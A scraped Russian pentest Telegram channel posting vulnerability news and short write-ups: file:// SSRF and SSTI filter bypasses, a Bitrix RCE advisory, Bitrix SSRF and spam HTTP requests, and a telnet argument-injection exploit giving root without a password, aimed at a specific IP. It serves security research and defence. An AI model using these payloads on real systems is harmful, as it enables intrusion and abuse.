Pentest Notes – Telegram
Pentest Notes
2.21K subscribers
164 photos
6 videos
5 files
86 links
https://pentestnotes.ru

Заметки про пентест, CTF и информационную безопасность

https://news.1rj.ru/str/github_exploits

https://news.1rj.ru/str/dbugs1337
Download Telegram
На сайте ZeroNights уже висит пограмма докладов.
Будут темы по современным техникам взлома для проведения продвинутых кибератак, обнаружение уязвимостей в устройствах и ОС, а также вопросы бинарной эксплуатации.

Программу конференции можно посмотреть здесь

Названия докладов прикольные🍪

➡️ Скользкий мамонт
➡️ Солевые приключения
➡️ Горшочек, не вари! Истории про Web3-ловушки
➡️ Итак... вы украли ноутбук
➡️ Киоск Закрыт? - Не беда! Войдем без ключа.

💫 @pentestnotes
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14😁64👍2🫡2
Forwarded from вольтаж
file://localhost/etc/passwd
что вернёт?

Да, вернётся /etc/passwd.

В RFC 8089, верный формат протокола описан как file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path>

Причём, в <host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS.

питон пок

from urllib.request import urlopen

content = urlopen(
"file://yoogle.com/etc/passwd", timeout=2,
).read().decode('utf-8')

print(content)


Представил сколько возможностей для обхода фильтров? И это не последний твой приступ FOMO за сегодня.

В статье The Minefield Between Syntaxes от @yeswehack, автор вскрывает проблемы разных синтаксисов и как парсеры выживают с ними.

Представим, ты нашёл SSTI, но WAF блокирует символ $
Что делать?


Неприятно, но не критично, ведь в Python / Perl возможно представить символ через \N{CHARACTER NAME}.

Пример обхода фильтра
\N{dollar sign}{7*7} == ${7*7} == 49


Уже на стену лезешь? Погоди, я с тобой ещё не закончил.

Давай дальше по загрузке файлов. Видел же в Content-Disposition есть параметр filename?

В RFC 6266 описан базовый подход с именем файла, но RFC 8187 вышибает дверь с... чего.. какие юникод байты 😱


# RFC 6266
filename="image.png"

# RFC 8187
filename*=UTF8''image%0a.png


RFC 8187 вводит новые правила для filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через %

То есть, ты можешь закодировать перенос строки (%0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется.

. . .

FOMO карусель закрыта.
Как восстановишь силы, пробегись по статье автора ради:
⚀ разбор CVE из-за проблем синтаксиса [^]

⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^]

⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]


Затем разнеси CTF по ресерчу
1. обход фильтров SSTI [^]

2. иной подход к протоколу file:// [^]

3. пролом parse_url в PHP [^]


#web #waf_bypass
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23👍9❤‍🔥71
Assume Birch #5

💫 @pentestnotes
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
13🔥9👍5
Forwarded from вольтаж
🎇 сводка по react2shell безумию

events
* китайские группировки сориентировались за 30 часов и начали раскидывать майнеры монеро и LD_PRELOAD руткиты
* добрые (😈) хакеры пробивают таргеты и затем патчат их, устраивая дефейс с "сервер уязвим, фиксаните пж"

* Vercel вышли на h1 с программой по обходам их WAF. платят 50к$ за обход react2shell. уже получили репортов на 750к$

facts
* легче обновиться, чем защищаться waf'ом
* все сдают react2shell в бб и надеются на деньги
* багхантеры написали браузерное расширение на детект
* nuclei добавили смешные правила на детект
(кто пропустит сложение чисел в powershell?)

vuln
* в эксплойтие, для массовых детектов, в _prefix используют js функции вместо child_process
(curl не всегда есть в контейнере, но fetch() всегда есть в node runtime)

* react2shell не оставляет следов на диске, от чего все жалуются на сложность детекта
* уязвим не только next.js, но и прочее во влиянии react rsc: react router, vite rsc, parcel rsc, waku, redwood sdk


слушай, вОЛьТаЖ, а что почитать? не хочу вникать в килотонны текста


Включай этот absolute cinema. Это будут лучшие 40 минут за день.

https://youtu.be/tdDHUoi_TdQ
https://youtu.be/tdDHUoi_TdQ
https://youtu.be/tdDHUoi_TdQ

Автор содрал кожу с реакта, расставил в нём брейкпоинтов и прошёлся по всему пути эксплоита, объясняя логику внутренностей реакта на важных чекпоинтах (их больше 20)

Если останутся силы, затем нырни в килотонну текста от CEO Vercel. После видео - it's starting to make sense

https://x.com/rauchg/status/1997362942929440937
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥218❤‍🔥5
1C-Bitrix <= 25.100.500 (Translate Module) Remote Code Execution Vulnerability (CVE-2025-67887) 🥤

Исследователь слил RCE PoC под плагин в Битрикс через 3 дня после присвоения CVE, не дождавшись ответа вендора. Патча нет...

Vulnerability discovered by Egidio Romano.

Уязвимые версии:
Версия 25.100.500 и более ранние версии.

Описание уязвимости:
Уязвимость находится в «Translate Module», который позволяет пользователям загружать и распаковывать архивные файлы во временную папку. Однако приложение не проверяет должным образом содержимое этих архивов перед их распаковкой. Злоумышленники могут использовать эту уязвимость для загрузки и выполнения произвольного PHP-кода, включив в архив PHP-файл вместе со специально созданным файлом .htaccess.

Что делать:
1. Проверить в логах наличие обращений к
/bitrix/services/main/ajax.php?action=translate.asset.grabber.extract
и
/bitrix/services/main/ajax.php?action=translate.asset.grabber.apply
2. Проверить директории с файлами на наличие закладок и подозрительных архивов.
3. По возможности ограничить доступ к этим эндпоинтам (проверить привилегии) или временно отключить модуль, ждать патч🤷‍♀️

CVE-2025-67887

Ps. Битрикс не считает это уязвимостью

💫 @pentestnotes
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥128🤯5👾1
Коллега по цеху @ArroizX сделал пост по уязвимостям в Битрикс😊

Почитать можно тут:
https://news.1rj.ru/str/ArroizX_Notes/90

Авторизированная SSRF в Битрикс24 через интеграцию с MS Sharepoint
GET /bitrix/components/bitrix/sharepoint.link/ajax.php?mode=test&sp_server=http://collaborator&sp_user=&sp_pass=&sessid=... HTTP/1.1 
Host: bitrix24
Cookie: ...
Bx-Ajax: true


Неавторизированный спам электронными письмами через sender_sub_confirm.php

POST /bitrix/tools/sender_sub_confirm.php HTTP/1.1 
Host: bitrix
Cookie: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: x

sessid=...&sender_subnoscription=add&SENDER_SUBSCRIBE_EMAIL=some@some.com


Пойду докину в свой гайд, спасибо)

💫 @pentestnotes
Please open Telegram to view this post
VIEW IN TELEGRAM
16
Закрытое награждение 25 лучших исследователей Standoff 2025 года

Очень классная локация и сам ивент, спасибо организаторам!👍

💫 @pentestnotes
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍23🔥137🗿1
Forwarded from вольтаж
взломать интернет бесплатно 2026

USER="-f root" telnet -a 104.16.149.244 23


вот эта штука сверху, которой уже назначен CVE-2026-24061, дает подключиться по telnet сразу как root, без пароля.

что? 🐱

Давным давно в 2015 году, почему-то в нашей мировой линии, telnet был неуязвим, но в нём не работал автологин если на машине нет Kerberos.

Суть автологина - автоматически передать юзернейм для логина. Как когда по ssh коннектишься не указав логин, машина автоматически коннектится с именем текущего юзера.

Без Kerberos, этот юзернейм попросту не детектился.

Поэтому разработчики обновили шаблон логина, добавив динамический аргумент %U, что как раз подставляет юзернейм.

Новый шаблон:

/usr/bin/login " -p -h %h %?u{-f %u}{%U}"



и вот тут происходит кабум бабах ракета взрыв 🤯

1. В бинаре login есть флаг -f, нужный для "этот юзер уже был аутентифицирован где-то ещё, не надо его проверять снова"

2. По RFC 1572, подключаясь по telnet, ты можешь сдать переменные окружения, в том числе $USER с целевым логином

3. содержимое $USER переменной никак не санитизируется

. . .
Теперь перечитай эксплойт

USER="-f root" telnet -a 104.16.149.244 23


Да это же уязвимость на argument injection!


Повторим флоу атаки 🃏

0. выставляем переменную $USER="-f root" и включаем автологин -a

1. переменная $USER не проверяется, но учитывается сервером

2. $USER подставляется в шаблон логина вместо {%U}

3. сервер получает команду /usr/bin/login -p -f root

4. бинарь login скипает аутентификацию из-за -f

5. поздравляю, ты root

———
Dockerfile для тестовой лабы


FROM debian:11-slim

ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y --no-install-recommends \
inetutils-telnetd=2:2.0-1+deb11u2 \
telnet && \
rm -rf /var/lib/apt/lists/*

RUN useradd user1 && \
sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf

COPY docker-entrypoint.sh /docker-entrypoint.sh

EXPOSE 23
CMD ["/usr/sbin/inetutils-inetd", "-d"]



Если хочешь кишки кода и ветви логики, то читай этот подробный ресерч
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥255🗿4🥰2❤‍🔥1